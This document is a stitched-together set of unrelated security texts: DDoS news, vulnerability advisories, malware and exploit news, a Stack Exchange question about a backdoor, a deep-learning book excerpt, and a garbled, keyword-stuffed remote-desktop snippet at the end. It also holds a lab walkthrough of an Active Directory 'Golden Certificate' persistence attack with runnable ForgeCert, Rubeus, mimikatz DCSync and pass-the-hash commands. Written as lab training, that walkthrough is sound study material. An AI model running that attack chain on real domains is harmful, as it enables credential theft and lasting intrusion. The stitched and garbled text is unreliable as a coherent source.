On October 26, 2018, 22-year-old Jha received a sentence for the 2016 attacks he made using DDoS via Mirai. The punishment is $8.6 million and six months of home incarceration. The sentence was massively reduced by cooperation with the federal authorities and help bringing down other botnet operators.
Thompson pleaded guilty in federal court in San Diego to conducting the DerpTrolling attacks. Now 23 years old, Thompson is facing up to 10 years in prison, 3 years of supervised release, and $250,000 in fines. Sentencing will start on March 1, 2019.
The continuing threat
Mirai is problematic because the source code was released. Because of that release of Mirai into the wild, anyone can potentially come along, adapt it, and use it to attack the many IoT devices that remain unsecured and vulnerable.
Research published in August 2017 noted that 15,194 attacks had already been logged based on the open sourcing of the Mirai code. Three Dutch banks and a government agency were targeted with a Mirai variant in January, for instance. Rabobank, ING Bank, and ABN Amro were all hit with the wave – over a span of four days, these targets were each attacked twice. This incident underscores the different motives of cybercriminals: coming just a few days following news that the Dutch intelligence community had first alerted the US that Russian operatives had infiltrated the Democratic National Committee and taken emails, these attacks were likely political hacktivism (although potentially state-sponsored).
While Mirai was a massive problem that truly threatened core Internet infrastructure, DerpTrolling is more microcosmic but nonetheless critical in terms of perception. DerpTrolling, at least to some folks, made DDoS fun, silly, and off-handed. His run through the legal system sends a message to the individual gamer and anyone wanting to perform what they may see as mischief online could end up with an ankle-bracelet or even behind bars. Currently, one of the top searched questions related to DDos is, “Is it illegal to DDoS?” To anyone unsure on the issue, it is becoming abundantly clear that it is a criminal activity taken very seriously by the federal government in the United States and elsewhere.
Setting aside the specific cases of the Mirai and DerpTrolling attacks, DDoS is generally continuing to become a more significant threat to the Internet all the time. Another industry study, released in January, found that 1 in 10 companies said they had experienced a DDoS in 2017 that resulted in more than $100,000 in damages – representing a fivefold increase over prior years. Meanwhile, there was a 60% rise in events that led to downtime per-second losses of $501 to $1000. The research also showed a rise of 20% in multi-vector attacks – which is also consistent with our data.
These figures are compelling when you consider DDoS mitigation services from a strict cost perspective; plus, it is possible many organizations are underestimating the long-term impact in trust (leading to loss of customers) and brand value that stems from DDoS downtime. Furthermore, the issue of increasing complexity is interesting related to the expertise in quickly stopping events that are not as simple as these attacks have typically been in the past.
The multi-vector approach is just the tip of the iceberg, though, with the rise of artificially intelligent DDoS. Artificial intelligence is massively on the rise now. This technology’s strengths for business are often heralded, but it will also be used by the dark side. The issue with AI-strengthened DDoS is that it is adaptive. AI is always improving its approach, noted Matt Conran, “changing parameters and signatures automatically in response to the defense without any human interaction.”
Future-proofing yourself against DDoS
While the Mirai and DerpTrolling takedowns are major events in the fight against DDoS, industry analyses reveal the problem is still only growing. Preparing for the DDoS future is particularly challenging given the rise of multi-vector attacks and incorporation of AI. At Total Server Solutions, our mitigation & protection solutions help you stay ahead of attackers. We want to protect you.
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Metasploit tutorial part 1: Inside the Metasploit framework
The Metasploit Framework (Msf) is a free, open source penetration testing solution developed by the open source community and Rapid7. This Metasploit tutorial covers the basic structure of Metasploit and different techniques of information gathering and vulnerability scans using this tool. Metasploit eliminates the need for writing of individual exploits, thus saving considerable time and effort.
The use of Metasploit ranges from defending your own systems by breaking into them, to learning about vulnerabilities that pose a real risk. Download Metasploit from http://www.metasploit.com to maximize the learning from this metasploit tutorial.
Dig down to the bottom of the page to read the whole article unregistered on Techtarget on this link:
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|CVSS Meta Temp Score|
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
|Current Exploit Price (≈)|
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
|CTI Interest Score|
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
A vulnerability has been found in Oracle MySQL Server up to 5.6.50/5.7.32/8.0.22 (Database Software) and classified as critical. Affected by this vulnerability is an unknown function of the component InnoDB. The manipulation with an unknown input leads to a denial of service vulnerability. The CWE definition for the vulnerability is CWE-404. As an impact it is known to affect availability. The summary by CVE is:
Vulnerability in the MySQL Server product of Oracle MySQL (component: InnoDB). Supported versions that are affected are 5.6.50 and prior, 5.7.32 and prior and 8.0.22 and prior. Difficult to exploit vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.4 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H).
The weakness was published 01/20/2021 as Oracle Critical Patch Update Advisory - January 2021. The advisory is shared at oracle.com. This vulnerability is known as CVE-2021-2022 since 12/09/2020. The exploitation appears to be difficult. The attack can be launched remotely. The exploitation requires an enhanced level of successful authentication. Neither technical details nor an exploit are publicly available. MITRE ATT&CK project uses the attack technique T1499 for this issue.
Upgrading eliminates this vulnerability. A possible mitigation has been published immediately after the disclosure of the vulnerability.
CVSSv3VulDB Meta Base Score: 4.4
VulDB Meta Temp Score: 4.2
VulDB Base Score: 4.4
VulDB Temp Score: 4.2
VulDB Vector: 🔒
VulDB Reliability: 🔍
VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Reliability: 🔍
NVD Base Score: 🔒
ExploitingClass: Denial of service
Status: Not defined
Price Prediction: 🔍
Current Price Estimation: 🔒
Threat IntelligenceThreat: 🔍
Reaction Time: 🔒
0-Day Time: 🔒
Exposure Time: 🔒
Timeline12/09/2020 CVE assigned
01/20/2021 +42 days Advisory disclosed
01/20/2021 +0 days Countermeasure disclosed
01/20/2021 +0 days VulDB entry created
02/17/2021 +28 days VulDB last update
Advisory: Oracle Critical Patch Update Advisory - January 2021
CVE: CVE-2021-2022 (🔒)
EntryCreated: 01/20/2021 07:47 PM
Updated: 02/17/2021 03:17 PM
Changes: (8) vulnerability_cvss2_nvd_av vulnerability_cvss2_nvd_ac vulnerability_cvss2_nvd_au vulnerability_cvss2_nvd_ci vulnerability_cvss2_nvd_ii vulnerability_cvss2_nvd_ai source_cve_cna vulnerability_cvss2_nvd_basescore
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- 11/09/2023 --- v1.0 -- Initial publication
On July 12, 2023, Cisco released an advisory to address a vulnerability in the remote access VPN feature of Cisco Adaptive Security Appliance (ASA) and Cisco Firepower Threat Defence (FTD) software. It could allow an unauthenticated, remote attacker to conduct a brute force attack in an attempt to identify valid username and password combinations or an authenticated, remote attacker to establish a client-less SSL VPN session with an unauthorised user .
In addition, Cisco warns that the vulnerability could be actively exploited by ransomware groups to gain initial access to corporate networks .
This vulnerability is due to improper separation of authentication, authorisation, and accounting (AAA) between the remote access VPN feature and the HTTPS management and site-to-site VPN features. An attacker could exploit this vulnerability by specifying a default connection profile/tunnel group while conducting a brute force attack or while establishing a client-less SSL VPN session using valid credentials. A successful exploit could allow the attacker to achieve one or both of the following :
- Identify valid credentials that could then be used to establish an unauthorised remote access VPN session.
- Establish a client-less SSL VPN session (only when running Cisco ASA Software Release 9.16 or earlier).
It is worth to note that:
- Establishing a client-based remote access VPN tunnel is not possible as these default connection profiles/tunnel groups do not and cannot have an IP address pool configured.
- This vulnerability does not allow an attacker to bypass authentication. To successfully establish a remote access VPN session, valid credentials are required, including a valid second factor if multi-factor authentication (MFA) is configured .
Indicators of compromise for this vulnerability are as follows :
- Brute force attack: seeing a high rate of
%ASA-6-113015, which reports a failed authentication attempt, can indicate a brute force or password spraying attack.
- Unauthorised client-less SSL VPN session establishment: Seeing a session establishment attempt (
%ASA-7-734003) or termination event (
%ASA-4-113019) that reports one of the following unexpected connection profiles/tunnel groups can indicate successful or attempted establishment of an unauthorised client-less SSL VPN session:
This vulnerability affected Cisco devices if they were running a vulnerable release of Cisco Adaptive Security Appliance (ASA) Software or Cisco Firepower Threat Defence (FTD) software and some conditions are met. Please refer to the Cisco advisory to find the conditions .
In addition, Cisco has confirmed that this vulnerability does not affect the following Cisco products :
- Firepower Management Center (FMC) Software;
- FXOS Software;
- IOS Software;
- IOS XE Software;
- IOS XR Software;
- NX-OS Software.
Cisco will release software updates that address this vulnerability. Until fixes are made available, please review and implement workarounds that address this vulnerability.
While there is no method to completely prevent a brute force attack attempt, you can implement the following recommendations to protect against unauthorised client-less SSL VPN session establishment using the
DefaultL2LGroup connection profiles/tunnel groups :
- configure a dynamic access policy (DAP) to terminate VPN tunnel establishment when the
DefaultL2LGroupconnection profile/tunnel group is used;
- deny remote access VPN using the default group policy (
- restrict users in the
- lock users to a specific connection profile/tunnel group only;
- prevent users from establishing remote access VPN sessions.
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Adversaries can deliberately confuse or even “poison” artificial intelligence (AI) systems to make them malfunction — and there’s no foolproof defense that their developers can employ. Computer scientists from the National Institute of Standards and Technology (NIST) and their collaborators identify these and other vulnerabilities of AI and machine learning (ML) in a new publication.
…“We are providing an overview of attack techniques and methodologies that consider all types of AI systems,” said NIST computer scientist Apostol Vassilev, one of the publication’s authors. “We also describe current mitigation strategies reported in the literature, but these available defenses currently lack robust assurances that they fully mitigate the risks. We are encouraging the community to come up with better defenses.”
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Microsoft has identified a new type of attack known as “HTML smuggling.” It is used in email campaigns to distribute banking malware and remote access Trojans (RATs) as well as in targeted hacking attempts.
Because the virus is produced inside the network when an employee accesses a web page or attachment with the malicious HTML script, it gets over traditional network perimeter security measures like web proxies and email gateways. As a result, even if gateway devices check for suspicious EXE, ZIP, or Office documents, a company’s network might be compromised.
Between July and August, Microsoft discovered an increase in HTML smuggling campaigns that transmit RATs like AsyncRAT/NJRAT. Microsoft said that they witnessed an email campaign in September that used HTML smuggling to deploy Trickbot. The company also attributed this Trickbot effort to a new, financially driven cybercriminal gang known as DEV-0193.
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Maher Jadallah, Senior Director Middle East & North Africa at Tenable
Botnets first gained widespread notoriety in the early 2000s and continue to be a common and disruptive source of trouble around the globe. Since the start of the COVID-19 pandemic, cybercriminals have stepped up their attacks against individuals and institutions alike, spurred on by increasing digitalisation, according to the Global Cybersecurity Outlook 2022 published by the World Economic Forum .
Proof of this unfortunate trend reared its head in May this year, when research by AT&T Alien Labs™ found that EnemyBot operators were exploiting recently identified vulnerabilities across content management system servers, Android and other IoT devices . What this means in plain English is that the gap between a vulnerability being discovered and it being exploited is shrinking.
EnemyBot was first discovered in March 2022 and is actually the sum of code taken from other disruptive botnets including Mirai, Qbot and Zbot. Some experts describe it as an updated version of Gafgyt_tor, as it leverages a number of botnet functions sourced from the Gafgyt codebase. What makes Enemybot a bigger concern is that its code can be easily found online, which makes it a do-it-yourself botnet for nefarious individuals to bend to their needs.
In today’s digital world, securing devices and networks has become challenging due to several issues. Coming back to EnemyBot, threat actors are actively developing this botnet, meaning the criticality of a vulnerability can change from one moment to the next.
Since this botnet is modified regularly to take advantage of new vulnerabilities, it is difficult to protect against; each time threat actors hear of a vulnerability and realise they stand to benefit from exploiting it, it’s a given that they will rapidly tweak the botnet to achieve their goals. In some cases, vulnerabilities don’t even have CVE numbers by the time they are exploited by EnemyBot or other such attacks.
Another unfortunate issue complicating the security landscape is that it is now easier to launch a cyberattack today than in years gone by. The result of this is cybercrime has become a thriving business across the globe with a supporting ecosystem .
Ultimately, the majority of cyberattacks come down to vulnerabilities that are left unchecked. Each day vulnerabilities are discovered and security advisories are issued, however this deluge of information makes it challenging for professionals to discern a real threat from one that is theoretical – an unlocked car with valuables inside only becomes a real threat if cybercriminals realise there are valuables sitting inside the unlocked car.
Effective Security Basics
While the threat landscape is more potent than ever before, organisations can take simple but effective steps to protect themselves, starting with minimising their attack surface area.
Organisations must kick this process off by maintaining up-to-date asset inventory that showcases everything they have, so vulnerabilities relating to specific assets can be addressed before they are exploited. This time consuming process is the cornerstone of any fully-fledged security program, as it can provide an organisation with critical insights that they can act on.
An up-to-date inventory of assets means an organisation must identify all assets (known and previously unknown) in its environment, which includes software and firmware versions, each asset’s patch levels and communication/connectivity paths. While network monitoring will provide a reasonable level of detail here, it is critical organisations perform active and device/system-specific querying to paint an accurate picture of an asset and its vulnerabilities.
Once an organisation’s asset inventory is up-to-date, the focus should be to perform vulnerability assessments regularly, so vulnerabilities can be addressed before they can be exploited. It cannot be emphasised enough that it’s vital to stay up-to-date on the latest threats, especially those that impact frequently targeted solutions such as Microsoft, VMware and F5.
Threat actors are acutely aware that the easiest way to take advantage of an organisation’s assets is to go after points of entry they are unaware of. This agility, as demonstrated by EnemyBot, means that organisations must become even more vigilant with their defenses. An organisation that makes the effort to fully catalogue its technology stack and supplements this with frequent threat assessments is far more secure than one that lacks these insights and preparedness. As threat actors step up their game, the onus is on organisations to respond with equal or greater vigor.
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Domain Persistence: Golden Certificate Attack
Security analysts who have some knowledge about Active Directory and pentesting would know the concept of tickets. Kerberos, the default authentication mechanism in an AD, uses ticket-based authentication where a Key Distribution Center (KDC) grants a Ticket-Granting Ticket (TGT) to a user requesting access to a service or an account which can then be redeemed to generate a service ticket (ST) to access a particular service, like SQL account. Attacks such as Golden Ticket demonstrate how an attacker can persist its access to the domain admin by obtaining the “krbtgt” account’s NTLM hash. Domain persistence is necessary for an analyst in the event the admin password gets changed. Persistence can also be achieved by using certificate-based authentication deployed in Active Directory Certificate Service. One such method is the Golden Certificate Attack. This technique leverages the certificate-based authentication in AD enabled by default with the installation of ADCS (Active Directory Certificate Services) by forging a new certificate using the private key of the CA certificate. The technique was implemented by Benjamin Delpy in Mimikatz. Will Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here.
Table of Content
- ADCS and Certificate Basics
- Installing ADCS in a local AD environment
- Extracting CA certificate
- Forging a new CA certificate
- Obtaining domain admin’s TGT
- Extracting admin NTLM hash
- Performing PtH (Pass the Hash) attack
ADCS and Certificate Basics
ADCS provides authentication in a forest. It enhances the overall security identity of a member (user or service account) by binding it to a corresponding private key. A certificate is an X.509-formatted digitally signed document used for encryption, message signing, and/or authentication. It contains the following details:
- Subject – The owner of the certificate.
- Public Key – Associates the Subject with a private key stored separately.
- NotBefore and NotAfter dates – Define the duration that the certificate is valid.
- Serial Number – An identifier for the certificate assigned by the CA.
- Issuer – Identifies who issued the certificate (commonly a CA).
- SubjectAlternativeName – Defines one or more alternate names that the Subject may go by.
- Basic Constraints – Identifies if the certificate is a CA or an end entity and if there are any constraints when using the certificate.
- Extended Key Usages (EKUs) – Object identifiers (OIDs) that describe how the certificate will be used. Also known as Enhanced Key Usage in Microsoft parlance
- Signature Algorithm – Specifies the algorithm used to sign the certificate.
- Signature – The signature of the certificates body is made using the issuer’s (e.g., a CA’s) private key.
Certificate Authorities (CAs) are responsible for issuing certificates. Upon ADCS installation, CA first creates its own public-private key pair and signs its own root CA using its private key. Hosts add this root CA in their systems to build a trust system.
Certificate Enrollment – The process of a client obtaining a certificate from AD CS is called certificate enrolment in which the following steps happen:
- Client generates public/private key pair
- Client places a public key in a Certificate Signing Request which includes details like the subject of certificate and certificate template name.
- Clients sign CSR using the private key and send CSR to the enterprise CA server.
- CA server verifies the client’s requested certificate’s template
- CA generates the certificate and signs it using its own private key
Types of extensions in certificates – Following extensions can be found throughout this article:
- *.p12 – The PKCS#12 is a binary format for storing the server certificate, any intermediate certificates, and the private key into a single encryptable file. Whenever you export a certificate using msc it comes out in a p12 format.
- *.pfx – It is the same as *.p12. *.pfx files are also PKCS#12 format binary certificates. The only difference is that *.pfx was developed by Microsoft and *.p12 by Netscape. So, for compatibility reasons you’ll see us converting *.p12 into *.pfx format.
- *.pem – Contains Base64 encoded certificate+private key pair in this context. Otherwise, a pem file can have anything depending on the developer.
Installing ADCS in a local AD environment
To configure ADCS in our test environment, we followed the following steps.
Step 1: Go to server manager and choose “add roles and features”
Step 2: You could read about pre-requisites that windows recommend and click next
Step 3: Choose the server from the server pool. Your environment could have multiple pools, we’ll choose DC1.ignite.local
Step 4: Under server roles, choose Active Directory Certificate Services and click next
Step 5: You can click next on this step or add some features. For this demo we don’t need anything extra so click next.
Step 6: Choose your role as the Certificate Authority. A CA is the primary signer of user certificates and allows them access to resources under certificate-based authentication schema.
Step 7:Click install
Step 8: Under the flags (notification) click configure Active Directory Certificate Services on the server
Step 9: Here, you can specify the Admin account you want to serve as your CA
Step 10: Choose CA (redundant step but click anyway)
Step 11: Choose enterprise CA
Step 12: Choose Root CA as domain admin is the one that is on the top of PKI structure
Step 13: Create a new private key. As explained above, a private key is required to sign any user certificate including the root CA. This key can be used to forge a golden certificate as will be explained later.
Step 14: You can modify as per your wish. We are leaving everything to the default settings.
Step 15: Here, you can add the common name for this CA certificate you installed
Step 16: Specify the validity of the certificate. For demo purposes leaving them to the default
Step 17: Customise the locations for the cert and click next.
Step 18: Click on configure
Step 19: As you can see, the certificate is now configured successfully
Now that we have set up ADCS and certificate-based authentication, we are good to go.
Here, we have the following architecture for testing:
Domain Controller- [email protected] – Admin
User (Client) – [email protected] – Windows 10 client connected
Attacker Machine – Kali Linux standalone
Extracting CA certificate
This article demonstrates domain persistence. Hence, we are assuming that the attacker has already compromised a user machine in the domain and escalated its privileges to the domain admin. Now, the attacker wants his connection to persist for a long period of time. That’s where the golden certificate comes into play. To forge a golden certificate, we will extract the CA certificate+private key combo first, using that file (private key), we will forge a new certificate for a particular user (here, DC) and then use that certificate to ask for tickets, dump hashes etc.
First step is to extract the CA. We can use certsrv.msc run command on the compromised domain admin system.
It will open up a window listing all the CAs in server pool. We choose back up CA
Here, click on Private Key and CA certificate and give the location of the directory where you want to back this certificate up. Our location is C:\cert
You can input the password to protect this backup file. This is optional but we can keep a simple password like 12345
Now, the certificate has been extracted successfully. There are other methods to extract the CA certificate too. You can do this using mimikatz as well.
Forging a new CA certificate
As you would observe the extracted certificate has a p12 format. This is equivalent to pfx format and theoretically a simple extension change should have converted p12 into pfx but due to some errors, we used openssl to properly convert p12 into pfx using a 2-step process.
First, you need to download Openssl from here. Once installed you can go to the C:\cert (folder where the certificate was backed up) and run the following command to convert this p12 certificate into a pem file.
"C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in ignite-DC1-CA.p12 -out newfile.pem
Here, you need to enter the import password 12345. You can set a new password for this pem file. We kept it as 12345 only for simplicity. As you can see “newfile.pem” has been created.
Now, you need to run another openssl command to convert this pem into pfx.
"C:\Program Files\OpenSSL-Win64\bin\openssl.exe" pkcs12 -in newfile.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Note, we have added two additional parameters here.
-keyex: Specifies that the private key is to be used for key exchange or just signing.
-CSP: Stands for a cryptographic service provider. This command specifies that the output file is in a standard format for Microsoft CSP. You can read more about it here.
You can see that cer.pfx has been exported to this directory now.
Using the private key available in this cert.pfx (combo of CA and private key) we will forge a certificate. The tool that we will be using is ForgeCert. This program can be compiled in Visual Studio 2022 just by importing the *.sln file and building the exe. Note that along with the exe, we would need BouncyCastle.dll and some config files. These files will be output in Project folder/bin/debug. Copy these files as it is in the C:\cert folder.
Now, we will forge our new certificate with the following command:
ForgeCert.exe --CaCertPath cert.pfx --CaCertPassword 12345 --Subject CN=User --SubjectAltName [email protected] --NewCertPath admincert.pfx --NewCertPassword ignite@123
You can keep a complex password here but we are keeping a simple ignite@123
Now, the golden certificate with a validity of 1 year has been saved! This means I have had access to the domain for at least a year now!
Obtaining domain admin’s TGT
Now that I have forged my golden certificate, I can perform a number of attacks. We are simulating a scenario where the admin password has changed now. Attacker no longer can access domain admin yet still has a user system with him (windows 10 client here). Also, the attacker still has a golden certificate with him! He can use Rubeus to ask for admin’s TGT like so:
Rubeus.exe asktgt /user:DC1 /certificate:admincert.pfx /password:ignite@123
It gives a *.kirbi ticket which is a base64 encoded format of a TGT.
So, we can convert this TGT into a base64 decoded format using the kali command:
echo "<ticket value>" | base64 --decode > ticket.kirb
Extracting admin NTLM hash
With this ticket.kirbi, we can do pass the ticket attacks, extract NTLM hashes among other things. Since we don’t know the admin’s new password now, let us try to extract his credentials.
For that we will run mimikatz on the user (windows 10 compromised non-admin system on the AD), import the ticket.kirbi using Kerberos::ptt module and then perform a DCSync attack. Since the ticket is the domain admin’s ticket, we can perform functions that require elevated privileges.
kerberos::ptt ticket.kirbi lsadump::dcsync /domain:ignite.local /user:administrator
This gives us a fresh set of admin’s NTLM hash
Performing PtH (Pass the Hash) attack
We can further perform Pass the hash attack using these credentials, or crack them using john/hashcat. We head over to our Kali terminal and use pth-winexe binary, which is a part of the pass the hash toolkit by byt3bl33d3r. This comes built-in in new kali os.
pth-winexe -U Administrator%00000000000000000000000000000000:32196B56FFE6F45E294117B91A83BF38 //192.168.1.188 cmd.exe
As you can see we have added 32 bits of 0s before the hash we dumped. As from the release of Windows 10, Microsoft made a change that LM hashes are not used anymore. But the tools that we are going to use in the practical are being used since the old NT and LM times. So, in those tools, we will be using a string of 32 zeros instead of the LM hash.
Also, to be noted, when we say NTLM in modern times, we mean NTHash. NTLM is a common name that stuck around.
So, as you can see using the golden certificate, we were able to extract admin tickets, dump hashes and perform Pass the hash or pass the ticket attacks.
95% of the Fortune 500 companies are using Active Directory in one way or the other. Attackers or analysts often conduct pentest on the corporate AD. A golden certificate attack is a domain persistence attack that could allow an attacker up to a year of persistence on a compromised machine even if the admin password gets changed or new admins are added. It is a useful technique with the potential to have various other sub attacks in the future on ADCS. Hope you enjoyed the article. Thanks for reading.
Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here
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I host a legacy HTTP website on my own hardware in China. It was attacked due to the Struts file upload flaw last month. But yesterday, Communications Authority in my province alarmed me, there is still a backdoor on my website, and I need to clean it. Here is the information they gave me:
- Backdoor script URL: http://my.website.com/images/xxx.jsp
- My IP address and port: 184.108.40.206:80
- Hacker's IP address and port: 220.127.116.11:2000
After that I confirmed they are correct, there is a backdoor script. However frankly, I am worrying more about them than some random hackers from internet due to there reputation. So I try to learn how they know that. Here is my assumption:
- The hacker's IP already reported, I can find it in this blacklist: https://cleantalk.org/blacklists/18.104.22.168 for example. And they also know this list.
- They filtered all packages to that IP address, and get the backdoor script URL from the HTTP headers in that packages.
My questions are:
- Is my assumption correct?
- If it is a HTTPS website, could they still get the URL?
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In Chapter 10 we introduced artificial neural networks and trained our first deep neural network. But it was a very shallow DNN, with only two hidden layers. What if you need to tackle a very complex problem, such as detecting hundreds of types of objects in high-resolution images? You may need to train a much deeper DNN, perhaps with (say) 10 layers, each containing hundreds of neurons, connected by hundreds of thousands of connections. This would not be a walk in the park:
First, you would be faced with the tricky vanishing gradients problem (or the related exploding gradients problem) that affects deep neural networks and makes lower layers very hard to train.
Second, with such a large network, training would be extremely slow.
Third, a model with millions of parameters would severely risk overfitting the training set.
In this chapter, we will go through each of these problems in turn and present techniques to solve them. We will start by explaining the vanishing gradients problem and exploring some of the most popular solutions to this problem. Next we will look at various optimizers that can speed up training large models tremendously compared to plain Gradient Descent. Finally, we will go through a few popular regularization techniques for large neural networks.
With these tools, you will be able to train very deep nets: welcome to Deep Learning!
As we discussed in Chapter 10, the backpropagation ...
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A researcher has released a proof-of-concept (PoC) exploit for CVE-2021-31166, a use-after-free, highly critical vulnerability in the HTTP protocol stack (
http.sys) that could lead to wormable remote code execution (RCE).
Microsoft discovered the flaw internally, releasing a patch in its May 11 Patch Tuesday update. This was the most severe bug in that batch: an
http.sys issue that requires neither user authentication nor user interaction to exploit. An exploit would allow RCE with kernel privileges or a denial-of-service (DoS) attack.
— Justin Campbell (@metr0) May 13, 2021
http.sys enables Windows and applications to communicate with other devices; it can be run standalone or in conjunction with Internet Information Services (IIS).
Microsoft Advises Priority Patching
“In most situations, an unauthenticated attacker could send a specially crafted packet to a targeted server utilizing the HTTP Protocol Stack (
http.sys) to process packets,” Microsoft explained in its advisory. Given that the vulnerability is wormable, Microsoft recommends prioritizing the patching of affected servers.
“With a CVSS score of 9.8, the vulnerability announced has the potential to be both directly impactful and is also exceptionally simple to exploit, leading to a remote and unauthenticated denial-of-service (Blue Screen of Death) for affected products,” McAfee’s Steve Povolny said in an analysis of the flaw at the time.
Povolny explained that the problem lies in how Windows improperly tracks pointers while processing objects in network packets containing HTTP requests. The vulnerability only affects the latest versions of Windows 10 and Windows Server, meaning that the exposure for internet-facing enterprise servers is “fairly limited,” he said. That’s because many of these systems run Long Term Servicing Channel (LTSC) versions, such as Windows Server 2016 and 2019, which aren’t susceptible to this flaw.
Public Exploit for Wormable Security Bug
Researcher Axel Souchet, who used to work for Microsoft, published the PoC to GitHub, noting that the bug happens in
http!UlpParseContentCoding, where the function has a local
LIST_ENTRY and appends an item to it. “When it’s done, it moves it into the Request structure; but it doesn’t
NULL out the local list,” he explained. “The issue with that is that an attacker can trigger a code path that frees every [entry] of the local list, leaving them dangling in the Request object.”
This isn’t the first PoC exploit for CVE-2021-31166 that Souchet has released, but this is the first wormable one. Over the weekend, he released a PoC that only locked the impacted Windows system as long as it’s running an IIS server. That initial exploit shows how an attacker can leverage the flaw to cause DoS on a targeted system by sending it specially crafted packets.
— Axel Souchet (@0vercl0k) May 16, 2021
And Thus Does the Exploit Lifecycle Crank Up Again
The publishing of a PoC code like this is typically the first step in the lifecycle of an exploit. As explained by Trend Micro’s Mayra Rosario Fuentes at the RSA Conference 2021 on Monday, the next step in that lifecycle is for crooks to sell it.
After it’s in the wild, a vulnerability moves into the stage of public disclosure. Next, the vendor patches the vulnerability. Finally, that vulnerability goes down two paths: If it’s patched, that’s it, end of life. If not, the exploit’s still there, waiting to be purchased on underground forums and set free on whichever unlucky victims haven’t yet patched.
One example is the eight-month lifecycle of CVE-2020-9054: an exploit sold on the XSS cybercriminal forum for $20,000 in February 2020 that got written up by cybersecurity journalist Brian Krebs, was publicly disclosed and patched by Microsoft in March 2020, and wound up being exploited by a botnet a month later. That botnet, a variant of the Mirai botnet named Mukashi that targeted Zyxel network-attached storage (NAS) devices, allowed threat actors to remotely compromise and control devices.
Five months after it was patched, in August 2020, another forum post requested an exploit, offering a bargain basement payment of $2,000. It’s a tenth of the original exploit, but a solid indication that some vulnerabilities have a long shelf life – most particularly if they’re used to crack open Microsoft products. Microsoft exploits, after all, are by far the most-requested and the most-sold exploit flavors on the underground market: All the more reason to heed Microsoft’s advice to prioritize patching for this one.
Download our exclusive FREE Threatpost Insider eBook, “ 2021: The Evolution of Ransomware,” to help hone your cyber-defense strategies against this growing scourge. We go beyond the status quo to uncover what’s next for ransomware and the related emerging risks. Get the whole story and DOWNLOAD the eBook now – on us!
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This indicates an attempt to exploit a buffer overrun vulnerability that exists in Microsoft's Local Security Authority Subsystem Service (LSASS).
LSASS is a Windows security and authentication interface. Due to inadequate boundary checking, an attacker can send a specially crafted message to a target computer to execute arbitrary code.
Microsoft Windows 2000, 2003 and XP.
System Compromise: Remote attackers can gain control of vulnerable systems.
Apply patch, available from the web site:
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Security firm FireEye has warned organisations about a return of MoleRat phishing attacks that can invade a network through a single spiked email.
FireEye said that MoleRat had quieted down, but has made a reappearance in the last few weeks. It said that one poisoned message, with a shortened link, was opened at least once at a European organisation and warned that the same message has been interacted with at least another 250 times.
“Between 29 April and 27 May, FireEye Labs identified several new MoleRats attacks targeting at least one major US financial institution and multiple, European government organisations,” it said.
We last heard from FireEye about these attacks in February when it said that MoleRat was being adopted as a replacement for Zeus. Zeus currently something of a broken botnet.
“Xtreme RAT is now being used in some high-volume attacks. It is being distributed as a payload of traditional large-volume spam runs,” it said then. “So far, Xtreme RAT has not been used as the payload of advanced exploits. Rather users are lured into installing the RAT through a variety of social engineering schemes.”
Then and now the firm said that attacks are relatively simple and make the most of off the shelf malware tools. Now, though, FireEye says that the attacks are widening in scale and have moved into the broadcasting, the BBC, and finance industries – at least one US organisation has been attacked.
“Although a large number of attacks against our customers appear to originate from China, we are tracking lesser-known actors also targeting the same firms,” it said.
“Molerats campaigns seem to be limited to only using freely available malware; however, their growing list of targets and increasingly evolving techniques in subsequent campaigns are certainly noteworthy.”
FireEye director of technology strategy Jason Steer said that attacks like MoleRAT and Zeus are hardy and tough to deal with so organisations need to be alert of the risks they pose.
“Organisations must realise that this is an ongoing cyber battle and that they must be fully prepared to deal with these attacks. Identifying your main assets and protecting them is the first step,” he told V3.
“However security products alone will not solve the problem unless you have the right context and information available. The ideal situation is a combination of the right products, people and processes.”
3 June 2014 | 12:59 pm – Source: v3.co.uk
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Windows 10 change scaling remote desktop 無料ダウンロード.Change DPI Scaling Level for Display in Windows 10
The Display.Remote Desktop Connection Manager – Windows Sysinternals | Microsoft Docs
[解決方法が見つかりました！] 最終的には、Falafel Softareによるこのブログ投稿を介してこれに対する解決策を見つけました。 基本的に： リモートデスクトップ接続マネージャーと呼ばれるMicrosoftのRDPクライアントをダウンロードします（編集：使用できなくなったので、リモート Remote Printing: Support for remote printing on Windows 7, 8 and Auto Discovery: New feature that allows AnyDesk to find other clients inside your local network. Remote Cursor: Fixed bugs relating to the remote cursor and fullscreen mode. Stability: Fixed several bugs that can lead to crashes in special situations. Localization: Updated It’s fast, simple, and free. Whether you need to access your work computer from home, view a file from your home computer while traveling, or share your screen with friends or colleagues, Chrome Remote Desktop connects you to your devices using the latest web technologies
Windows 10 change scaling remote desktop 無料ダウンロード.Remote Desktop Scaling Windows 10 Pro -> Windows 10 Pro
Aug 13, · To change a display scaling size using the recommended settings, use these steps: Open Settings. Click on System. Click on Display. Under the “Scale and layout” section, use the drop-down menu and Estimated Reading Time: 5 mins [解決方法が見つかりました！] 最終的には、Falafel Softareによるこのブログ投稿を介してこれに対する解決策を見つけました。 基本的に： リモートデスクトップ接続マネージャーと呼ばれるMicrosoftのRDPクライアントをダウンロードします（編集：使用できなくなったので、リモート You can download in the download section, or in the github release page. Changelog: Due to the deprecation of QtScript and all the issues related to it, we are dropping from MeshLab the support to XML plugins, and therefore all the XML plugins have been transformed to classic plugins in Missing: remote desktop
